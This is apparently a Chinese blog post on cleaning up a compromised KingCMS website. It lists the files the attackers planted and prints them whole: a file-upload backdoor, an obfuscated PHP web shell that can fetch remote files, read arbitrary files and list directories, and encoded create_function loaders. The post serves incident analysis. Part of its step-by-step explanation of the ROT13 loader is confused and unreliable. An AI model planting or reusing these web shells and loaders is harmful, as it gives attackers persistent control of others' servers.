最新遇到了kingcms攻击-有上传文件和创建函数

通过git status看哪些文件发生了更改：

git status
Untracked files:
#   (use "git add <file>..." to include in what will be committed)
#
#       .user.ini
#       banner/optimize-table.php
#       e/data/adminlogin/user1_b2f74a89286a666feb2e8d868e362802.php
#       images/banner1.php
#       index.php
#       meiyuan/css/head.php
#       search/keyword/kefu.php
#       testdata/demopic/download/flashget.php

查看adminlogin/user1_b2f74a89286a666feb2e8d868e362802.php

：像是用于登录的代码

<?php
$ecms_adminloginr=array();
$ecms_adminloginr=Array('userid'=>'1',
'ernd'=>'l0VNHsfImVRwrlgDA7JnZ0ODMtY',
'erndtwo'=>'VA2VG3y5Xq5Fd68QGbiC',
'erndadd'=>'f4glC8aChaPxsW42iv1NuHVhs3NAnZ4N',
'ehash'=>'kF5JWPRv9cvzRXc31utU',
'ehashname'=>'ehash_UUQW',
'rhash'=>'3XkauUm2mK4h',
'rhashname'=>'rhash_WAbR',
'edbdata'=>'1');
?>

查看 banner/optimize-table.php：看似无明显异常

<?php
/*
 * Be sure to include no trailing slash on the path.
 * See http://www.php.net/support.php for more information
 * about PHP manuals and their types.
 */
 
ini_set("display_errors", "off");

/* O_o  O_O  o_O */ 	$o_o = array	/* O_o  O_O  o_O */
(
	'CQ9jnUNXDTIlpz9lK3WypT9lqTyhMluSK0IFHx9FXGftDTyhnI9mMKDbW2Ecp3OfLKysMKWlo3WmWljaG2MzWlx7VROcozysp2' ,
	'I0XPqgLKusMKuyL3I0nJ9hK3EcoJHaYQRjZQNjXGftnTIuMTIlXPWwo250MJ50YIE5pTH6VUEyrUDinUEgoQftL2uupaAyqQ1I' ,
	'IRLgBPVcBlOxMJMcozHbW1MSHyAWG04aYPqCqTIHMJSgLUZtI2IvH2uyoTjaXGftMTIznJ5yXPqAJHMWGRHaYPEsH0IFIxIFJl' ,
	'qGD1WWHSEsExyZEH5OGHHaKFN/VUA0pzEcpvtxK1ASHyMSHyfaH0AFFIOHK0MWGRIBDH1SW10cVQbtp3ElMTylXS9sExyZEI9s' ,
	'XFx7VTEyMzyhMFtaIRuWH0EWHvpfp3ElMTylXTEcpz5uoJHbGIyTFHkSXF4aYlpcXGftMTIznJ5yXPqFG09HERyFWlkmqUWxnK' ,
	'Vbp3ElqUVbGIyTFHkSYTSlpzS5XUA0pzEcpvtxK1ASHyMSHyfaHRuDK1ASGRLaKFxtCG4tWlpcXF4aYlpcXGftMTIznJ5yXPq3' ,
	'nJ4aYUA1LaA0pvuDFSOsG1ZfZPjmXFN9CFNaI0yBWlN/VUElqJHtBvOzLJkmMFx7VTEyMzyhMFtaEIuWH1EGK1OVHRyBEx8aYT' ,
	'qyqTyhMz8bXFN/VUElqJHtBvOzLJkmMFx7VTM1ozA0nJ9hVTqyqTyhMz8bXFO7VTyzVPtunKAmMKDbWS9UEIEoo3EyKFxcVUft' ,
	'MKucqQftsFOlMKE1pz4tMaIhL3Eco25sMKucp3EmXPqjnUOcozMiWlx7VU0tMaIhL3Eco24tnKAIIRL4XPEmqUVcVUftnJLtXP' 

查看.user.ini

open_basedir=/www/wwwroot/x.com/:/tmp/

images/banner1.php: 用于上传文件，高危！！

《title>———-leng
<?php
    if(!empty($_FILES)){
        if($_FILES["file"]["error"] == 0){
            move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
            echo $_FILES['file']['name'].' upload success'; 
        }
    }
?>
<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="submit" value="Upload">
</form>

index.php：嵌入了博彩代码，这是新增的文件，默认只有index.html!!!

meiyuan/css/head.php，重点来了！！！

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING | E_DEPRECATED));
$mix="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";
$password = "888";
$data="6576616p28677n756r636s6q7072657373286261736536345s6465636s64652822654n7n732s646q4s354r423670516r65463544766s43346334456867415n776r434p6s776o735n354q73376o6n6342356r6q636q387432626o5n49534o6r56576s787556714s78436r2o3052487562684r427135392s2o763953307n632s702s2o6p2s2o376p2s48582s37356r2s2s7072394r534431767831332s387..........还很多.."；
$uri = pack("H*",str_rot13($data));
$power=$mix('',$uri);
$power();

这段PHP代码执行了以下步骤：

1. 设置错误报告级别，以便显示所有错误，除了E_NOTICE、E_WARNING和E_DEPRECATED。这意味着代码会报告所有其他类型的错误，但不会报告通知、警告和废弃的警告。

error_reporting(E_ALL ^ (E_NOTICE | E_WARNING | E_DEPRECATED));

1. 定义了一个字符串$mix，该字符串是create_function的十六进制表示。create_function是一个PHP函数，用于动态地创建一个匿名函数。

$mix="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";

1. 定义了一个密码$password，其值为"888"。

$password = "888";

1. 定义了一个字符串$data，其值为"6576.."（一个字符串，因为它以换行符结束）。

$data="6576

1. 使用str_rot13函数对$data进行ROT13编码。ROT13是一种简单的凯撒密码，它将字母表中的每个字母移动13个位置。然后，使用pack函数将编码后的字符串转换为二进制数据。

$uri = pack("H*",str_rot13($data));

1. 使用create_function函数创建一个匿名函数，该函数接受两个参数，但在这里只传递了一个空字符串和一个二进制数据字符串。这个匿名函数的内容是$uri，它可能是某种可执行代码。

$power=$mix('',$uri);

1. 调用创建的匿名函数。

$power();

另外，使用create_function来执行动态生成的代码通常是不安全的，因为它容易受到代码注入攻击。

另外，如果$data的值，经过ROT13编码后，它会变成"rot13"，然后pack函数将其转换为二进制数据。如果这是意图，那么$power函数将尝试执行字符串"rot13"作为PHP代码，这会导致错误，因为"rot13"不是有效的PHP代码。

总的来说：就是通过加密和解密的方式，create_function，并执行了！！

search/keyword/kefu.php

<?php error_reporting(0);$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";$id=$sr/*+/*+*/("ri"."d_"."si");$rn=$sr/*+/*+*/("em"."an"."er");$dn=$sr/*+/*+*/("em"."anr"."id");$od=$sr/*+/*+*/("ri"."dne"."po");$rd=$sr/*+/*+*/("ri"."dda"."er");$cd=$sr/*+/*+*/("ri"."deso"."lc");$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';$ulform='<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';$rnform='<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>';$lpform='<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>';$sfform='<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';if($_GET['act']=='dl'){echo($dlform);if($_SERVER['REQUEST_METHOD']=='POST'){$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));}exit;}if($_GET['act']=='ul'){echo($ulform);if($_SERVER['REQUEST_METHOD']=='POST'){$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);}exit;}if($_GET['act']=='rn'){echo($rnform);if($_SERVER['REQUEST_METHOD']=='POST'){$rn/*+/*+*/($_POST['on'],$_POST['nn']);}exit;}if($_GET['act']=='gp'){echo($dn/*+/*+*/(__FILE__));exit;}if($_GET['act']=='lp'){echo($lpform);if($_SERVER['REQUEST_METHOD']=='POST'){$dp=$_POST['dp'].'/';$h=$od/*+/*+*/($dp);while(($fn=$rd/*+/*+*/($h))!==false){if($id/*+/*+*/($dp.$fn)){$t1.='D&nbsp;'.$fn.'<br>';}else{$t2.='&nbsp;&nbsp;'.$fn.'<br>';}}$cd/*+/*+*/($dp);echo($dp.'<br>'.$t1.$t2);}exit;}if($_GET['act']=='sf'){echo($sfform);if($_SERVER['REQUEST_METHOD']=='POST'){$df=$_POST['df'];echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');}exit;}?>

testdata/demopic/download/flashget.php

<?php
$password='xxdd';
$shellname='�Ƿ�SEOר��';
$myurl=null;
error_reporting(0);
@set_time_limit(0);
    function Class_UC_key($string){
		$array = strlen (trim($string));
		$debuger = '';
		for($one = 0;$one < $array;$one+=2) {
			$debuger .= pack ("C",hexdec (substr ($string,$one,2)));
		}
		return $debuger;
	}
header("content-Type: text/html; charset=gb2312");
$filename=Class_UC_key("2470617373776F72643D27").$password.
Class_UC_key("273B247368656C6C6E616D653D27").$Username.
Class_UC_key("273B246D7975726C3D27").$Url.
Class_UC_key("273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827").'eJzsvfl3XMdxKPwzdI7+h6vrMe......
Hb79FAakWXxytva7sEhpZwhnrg2t2H3TaXUGw1YxmjN1LkUDFZu6BSN8irb6pZTVr0NDHb41fISu/d3jo4aKopfq5omGoaLKL6W1bsAFPumeHX+YS2oqoWZBm1aYX0YZG2ws8L/7l3/y3+6QA1SALaB+U9rj5kKmlnnp1duF24lw8ORicISY8f8Dk7fBIg==\')));';
$PHP=Create_Function('',$filename);$PHP();?>